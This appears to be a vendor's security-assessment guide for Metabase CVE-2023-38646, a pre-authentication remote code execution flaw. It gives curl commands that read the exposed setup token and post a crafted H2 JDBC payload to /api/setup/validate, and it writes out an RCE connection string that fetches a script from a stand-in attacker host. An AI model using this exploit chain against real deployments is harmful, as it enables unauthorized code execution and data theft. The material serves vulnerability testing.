Metabase is one of the most widely deployed open-source business intelligence tools, used by thousands of companies to provide self-service analytics. CVE-2023-38646 is a critical pre-authentication remote code execution vulnerability affecting Metabase open-source before version 0.46.6.1 and Metabase Enterprise before 1.46.6.1 — an unauthenticated attacker sends a crafted POST request to /api/setup/validate containing a malicious H2 database JDBC connection string with an INIT directive that executes arbitrary commands on the host operating system, without requiring any credentials; the setup token required for this endpoint is exposed at /api/session/properties which is accessible without authentication; beyond the CVE, Metabase's application database stores connected data source credentials in a recoverable format, public dashboard sharing can expose sensitive analytics data without authentication, and Metabase's question/native query editor allows SQL execution against all connected databases using the permissions of the database service account. This guide covers systematic Metabase security assessment.
# Metabase typically runs on port 3000 (default) or behind a reverse proxy on 80/443
# Version exposed unauthenticated at /api/session/properties
# Get Metabase version (no auth required)
curl -s http://metabase.example.com:3000/api/session/properties 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
version = data.get('version', {})
print(f\"Metabase version: {version.get('tag','?')}\")
print(f\"Build date: {version.get('date','?')}\")
# Check for CVE-2023-38646 vulnerable versions
tag = version.get('tag', '')
print(f'CVE-2023-38646 check: version {tag}')
" 2>/dev/null
# CVE-2023-38646 affects:
# Open-source: < 0.46.6.1 (also 0.44.x < 0.44.7.1, 0.45.x < 0.45.4.1)
# Enterprise: < 1.46.6.1 (also 1.44.x < 1.44.7.1, 1.45.x < 1.45.4.1)
# Step 1: Retrieve the setup token from /api/session/properties (no auth required)
SETUP_TOKEN=$(curl -s http://metabase.example.com:3000/api/session/properties 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
token = data.get('setup-token')
if token:
print(token)
print(f'Setup token found: {token}', file=__import__(\"sys\").stderr)
else:
print('No setup token — setup already completed or patched', file=__import__(\"sys\").stderr)
" 2>/dev/null)
# Step 2: Check if the vulnerable endpoint accepts the token
# /api/setup/validate processes H2 JDBC connections that can execute OS commands
# via INIT= parameter in the connection string
# The JDBC URL format that triggers RCE:
# jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://attacker.com/rce.sql'
# Detection payload (safe — uses a non-executing INIT that only causes a connection error)
if [ -n "$SETUP_TOKEN" ]; then
RESPONSE=$(curl -s -X POST \
http://metabase.example.com:3000/api/setup/validate \
-H "Content-Type: application/json" \
-d "{
\"token\": \"${SETUP_TOKEN}\",
\"details\": {
\"is_on_demand\": false,
\"is_full_sync\": false,
\"is_sample\": false,
\"cache_ttl\": null,
\"refingerprint\": false,
\"auto_run_queries\": true,
\"schedules\": {},
\"details\": {
\"db\": \"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=0\",
\"advanced-options\": false,
\"ssl\": true
},
\"name\": \"test\",
\"engine\": \"h2\"
}
}" 2>/dev/null)
echo "Response code indicates: $(echo $RESPONSE | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('message','?')[:100])" 2>/dev/null)"
fi
| Security Test | Method | Risk |
|---|---|---|
| CVE-2023-38646 pre-auth RCE (unpatched version) | GET /api/session/properties — check version tag against vulnerable ranges; POST /api/setup/validate with crafted H2 JDBC URL | Critical |
| Setup token exposed pre-completion | GET /api/session/properties — setup-token field present means setup incomplete and /api/setup/validate is active | Critical |
| Public dashboards expose sensitive data | GET /api/public/dashboard/{uuid} — enumerable via share links; reveals full query results without authentication | High |
| Database credentials recoverable from app DB | Access Metabase application database — query data_sources table for connected database credentials | High |
| Native SQL query execution by non-admins | Authenticated as analyst — test if native SQL mode allows schema enumeration and data extraction beyond question scope | Medium |
| Default admin password weakness | Initial setup accepts any password — test common weak passwords if admin setup was done hastily | Medium |
Ironimo tests Metabase deployments for CVE-2023-38646 pre-authentication RCE by detecting vulnerable version ranges and setup token exposure at /api/session/properties, public dashboard and question sharing providing unauthenticated access to sensitive analytics data, native SQL query access exceeding the intended scope of connected database users, weak or default admin credentials on initial Metabase setups, and session management weaknesses enabling token replay attacks.
Start free scan